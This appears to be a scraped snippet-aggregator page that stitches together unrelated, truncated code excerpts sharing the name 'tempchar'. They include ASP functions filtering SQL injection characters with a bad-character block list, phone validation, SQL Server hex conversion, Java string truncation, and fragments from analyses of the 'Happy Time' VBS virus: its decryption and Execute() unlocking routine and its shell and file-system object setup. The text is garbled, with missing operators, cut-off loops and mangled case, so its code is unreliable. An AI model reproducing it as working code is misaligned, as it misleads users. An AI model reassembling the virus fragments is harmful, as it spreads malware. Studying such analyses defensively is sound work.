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Three illegal SQL injection characters for filtering illegal SQL characters

'**************************************************' Function name: R' Parameters: Strchar-----The characters to filter' Return value: Filtered character'************************************************** Public Function R (Strchar) If Strchar = "" Or IsNull (strchar) Then R = "": Exit Function Dim Strbadchar, Arrbadchar, Tempchar, I ' Strbadchar = ' $,#, ',%,^,,?, (,), Strbadchar = "+, ',--,%,^,,?, (,), Arrbadchar = Split (Strbadchar, ",")

OC iOS How to convert BCD code to iOS acsii code __ios

Author: Zhu Ke Email: zhukefeng@iboxpay.com Reprint please indicate the source: HTTP://BLOG.CSDN.NET/LINUX_ZKF nsstring* ASCIICONVERTFROMBCD (NSString *bcdstring) { int len = bcdstring.length; Char pdupack[len/2+1], *pdustr; Bzero (Pdupack, len/2+1); PDUSTR = (char *) [bcdstring cstringusingencoding:nsutf8stringencoding]; for (int i=0 i Char Tempchar; Tempchar = Pdustr[i]; if ((

JS Verify phone number is legal

/********************Function Name: Istelephonefunction function: fixed, mobile phone number check function, return True, reverse, return falsefunction parameters: obj, number to be checkedCheck rule:(1) Number, "(", ")" and "-"(2) The phone number is 3 to 8 digits(3) If the phone number contains an area code, then the area code is three-bit or four-bit(4) The area code is separated by "(", ")" or "-" and other parts(5) The mobile phone number is 11 or 12 bits, if 12 bits, then the first digit i

Collect JS phone number verification regular practice

}$) | (^ ([0-9]{3,4}) [0-9]{3,8}$] | (^0{0,1}13[0-9]{9}$)/;if (pattern.test (obj)){return true;}Else{return false;}} function Isphonenumber (str) non-regular judgment{var I,strlengh,tempchar;Str=cstr (str);if (str== "") return false;Strlength=str.length;for (i=0;i{Tempchar=str.substring (i,i+1);if (!) ( tempchar==0| | tempc

Oracle parsing JSON format

(4000): = P_list;BEGINLOOPL_idx: = INSTR (V_list, P_SEP);IF l_idx > 0 ThenPIPE ROW (SUBSTR (v_list, 1, l_idx-1));V_list: = SUBSTR (v_list, L_idx + LENGTH (p_sep));ELSEPIPE ROW (v_list);EXIT;END IF;END LOOP;END Func_split;/* * @SEE declaretion */ FUNCTION Func_parsejson (p_jsonstr VARCHAR2) RETURN type_split pipelined is V_jsonstr VARCHAR2 (+): = P_jsonstr; Jsonkey VARCHAR2 (50); Jsonvalue VARCHAR2 (50); JSON VARCHAR2 (1000); Tempchar VARCHAR2

Source code analysis of the "Happy Time" virus

minus the corresponding operator. During decryption, you only need to add the corresponding operator to each character in this order.Tempchar = CHR (tempnum-otherarr (I mod 4 ))If tempchar = CHR (34) thenTempchar = CHR (18)End ifTempstring = tempstring tempcharNext'String containing the decryption algorithmUnlockstr = "execute (" "dim keyarr (3), thistext" " vbcrlf " "keyarr (0) =" otherarr (0) "" vbcrlf "" keyarr (1) = " otherarr (1) " " vbcrlf

"Happy New Time"

-1CF0-11D0-ADB9-00C04FD58A0B }")Appleobject. createinstance ()Set wsshell = appleobject. GetObject ()Appleobject. setclsid ("{0d43fe01-f093-11cf-8940-00a0c9054228 }")Appleobject. createinstance ()Set FSO = appleobject. GetObject ()End ifSet diskobject = FSO. DrivesFor each disktemp in diskobjectIf disktemp. drivetype ExitEnd ifFinalydisk = disktemp. driveletterNextDim otherarr (3)RandomizeFor I = 0 to 3Otherarr (I) = int (9 * RND ))NextTempstring = ""For I = 1 to Len (thistext)Tempnum = ASC (mid

Function Code for filtering invalid SQL characters in asp

Copy codeThe Code is as follows: '*************************************** *********** 'Function name: R 'Usage: Filter invalid SQL characters 'Parameter: strChar ----- the character to be filtered 'Return value: filtered characters '*************************************** *********** Public Function R (strChar) If strChar = "" Or IsNull (strChar) Then R = "": Exit Function Dim strBadChar, arrBadChar, tempChar, I 'Strbadchar = "$, #, ', %, ^ ,,?, (,),

ASP SQL injection

'************************************************** ' Function name: Replacebadchar ' Function: Filter illegal SQL characters ' Parameters: Strchar-----The characters to filter ' Return value: Filtered character ' Source: www.coredata.cn '************************************************** Function Replacebadchar (Strchar) If Strchar = "" Or IsNull (Strchar) Then Replacebadchar = "" Exit Function End If Dim Strbadchar, Arrbadchar, Tempchar,

ASP filter the illegal SQL characters of the function code _ Application Tips

Copy Code code as follows: '************************************************** ' Function name: R ' Function: Filter illegal SQL characters ' Parameters: Strchar-----The characters to filter ' Return value: Filtered character '************************************************** Public Function R (Strchar) If Strchar = "" Or IsNull (strchar) Then R = "": Exit Function Dim Strbadchar, Arrbadchar, Tempchar, I ' Strbadchar = ' $,#, ',%,^,,?,

Data conversion between the varbinary and varchar types in SQL Server

@ Re Varbinary ( 8000 ), @ Tempchar Varchar ( 2 ), @ Getchar Varchar ( 1 ), @ Getint Int , @ N Int , @ Totalint Int , @ I Int , @ Tempint Int , @ Runnum Int -- Number of string CIDR blocks Select @ Tempchar = '' , @ I = Datalength ( @ Char ), @ Re = 0x; If ( @ I > 0 ) Begin If (@ I % 2 = 0 ) Set @ Runnum = @ I / 2 Else Set @ Run

New Happy Time Code Analysis

operator. During decryption, you only need to add the corresponding operator to each character in this order.TempChar = Chr (TempNum-OtherArr (I Mod 4 ))If TempChar = Chr (34) ThenTempChar = Chr (18)End IfTempString = TempString TempCharNext'String containing the decryption algorithmUnLockStr = "Execute (" "Dim KeyArr (3), ThisText" " vbCrLf " "KeyArr (0) =" OtherArr (0) "" vbCrLf "" KeyArr (1) = " OtherArr (1) " " vbCrLf " "KeyArr (2) =" Other

Three ASP anti-SQL injection function

When I'm going to get a numeric variant of STRValue=saferequest ("str", 1,0)To get the value in the parameter str, and to make a numeric judgment, which is not numeric or empty, value equals 0, otherwise, value equals the values of request ("str"). function Saferequest (paraname,paratype,lenlimit)Dim paravalueParavalue = Trim (Request (Paraname))If Paratype = 1 ThenIf IsNull (Paravalue) or (not IsNumeric (paravalue)) ThenParavalue = LenlimitEnd IfElseIf IsNull (Paravalue) ThenParavalue = ""E

The principle analysis and precaution _vbs of VBS script virus

(exestring,i,1) "vbCrLf" If tempnum = Then "vbCrLf" tempnum =% "vbCrLf" End If " vbcrlf "Tempchar = Chr (Tempnum + keyarr (i Mod 4))" vbCrLf "If Tempchar = Chr (a) Then" vbCrLf "Tempchar = vbcr "vbCrLf" ElseIf Tempchar = Chr () Then "vbCrLf" Tempchar = vblf "vbCrLf" end If

Data conversion between binary and character types in SQL Server

directly.The Code is as follows:Copy codeThe Code is as follows:-- ===================================================== ========-- FUNCTION hexstr2varbin-- Convert varchar data to varbinary-- ===================================================== ========IF OBJECT_ID ('dbo. hexstr2varbin') IS NOT NULLDrop function dbo. hexstr2varbinGOCREATE function [dbo]. [hexstr2varbin] (@ Char varchar (8000). Returns varbinary (8000)AsBeginDeclare @ re varbinary (8000), @

Data conversion between binary and character types in SQL Server

varbinary data directly. The Code is as follows:Copy codeThe Code is as follows: -- ===================================================== ========-- FUNCTION hexstr2varbin-- Convert varchar data to varbinary-- ===================================================== ========IF OBJECT_ID ('dbo. hexstr2varbin') IS NOT NULLDrop function dbo. hexstr2varbinGOCREATE function [dbo]. [hexstr2varbin] (@ Char varchar (8000). Returns varbinary (8000)AsBeginDeclare @ re varbinary (8000), @

Implementing data conversion between binary and character types in SQL Server _mssql

: Copy Code code as follows: --============================================== --FUNCTION Hexstr2varbin --Converts the data of the varchar type to the varbinary type --============================================== IF object_id (' Dbo.hexstr2varbin ') is not NULL DROP FUNCTION Dbo.hexstr2varbin Go CREATE function [dbo]. [Hexstr2varbin] ( @char varchar (8000) ) returns varbinary (8000) As Begin DECLARE @re varbinary (8000), @tempchar

SQL varbinary varchar Mutual transfer

ALTER function Varbin2hexstr (@bin varbinary (8000)) returns varchar (8000) asBEGIN DECLARE @re varchar (8000), @iint Select@re ="', @i=datalength (@bin) while@i>0 Select@re =substring ('0123456789ABCDEF', substring (@bin, @i,1)/ -+1,1) +substring ('0123456789ABCDEF', substring (@bin, @i,1)% -+1,1) +@re, @i[Email protected]1--return('0x'+@re)return@re EndALTER function [dbo]. [Hexstr2varbin] (@char varchar (8000)) returns varbinary (800

Java precisely intercepts a string and obtains the character function with the specified length before the string.

More )...{Int reint = 0;String restr = "";If (STR = NULL)Return "";Char [] tempchar = Str. tochararray ();For (int kk = 0; (KK String S1 = Str. valueof (tempchar [Kk]);Byte [] B = s1.getbytes ();Reint + = B. length;Restr + = tempchar [Kk];}If (tocount = reint | (tocount = reint-1 ))Restr + = more;Return restr;} ======================== /*** The first tocount cha

Java Control Character Length

Private long getstringbytelength (string STR, int maxlength ){ If (STR = NULL) Return 0; Int tmp_len = maxlength; If (Str. Length () Tmp_len = Str. Length (); Else if (Str. Length ()> maxlength * 2) Tmp_len = maxlength * 2; Char [] tempchar = Str. substring (0, tmp_len). tochararray (); int intvariable = 0; string S1 = NULL; for (INT I = 0; I S1 = string. valueof (tempchar [I]); intvari

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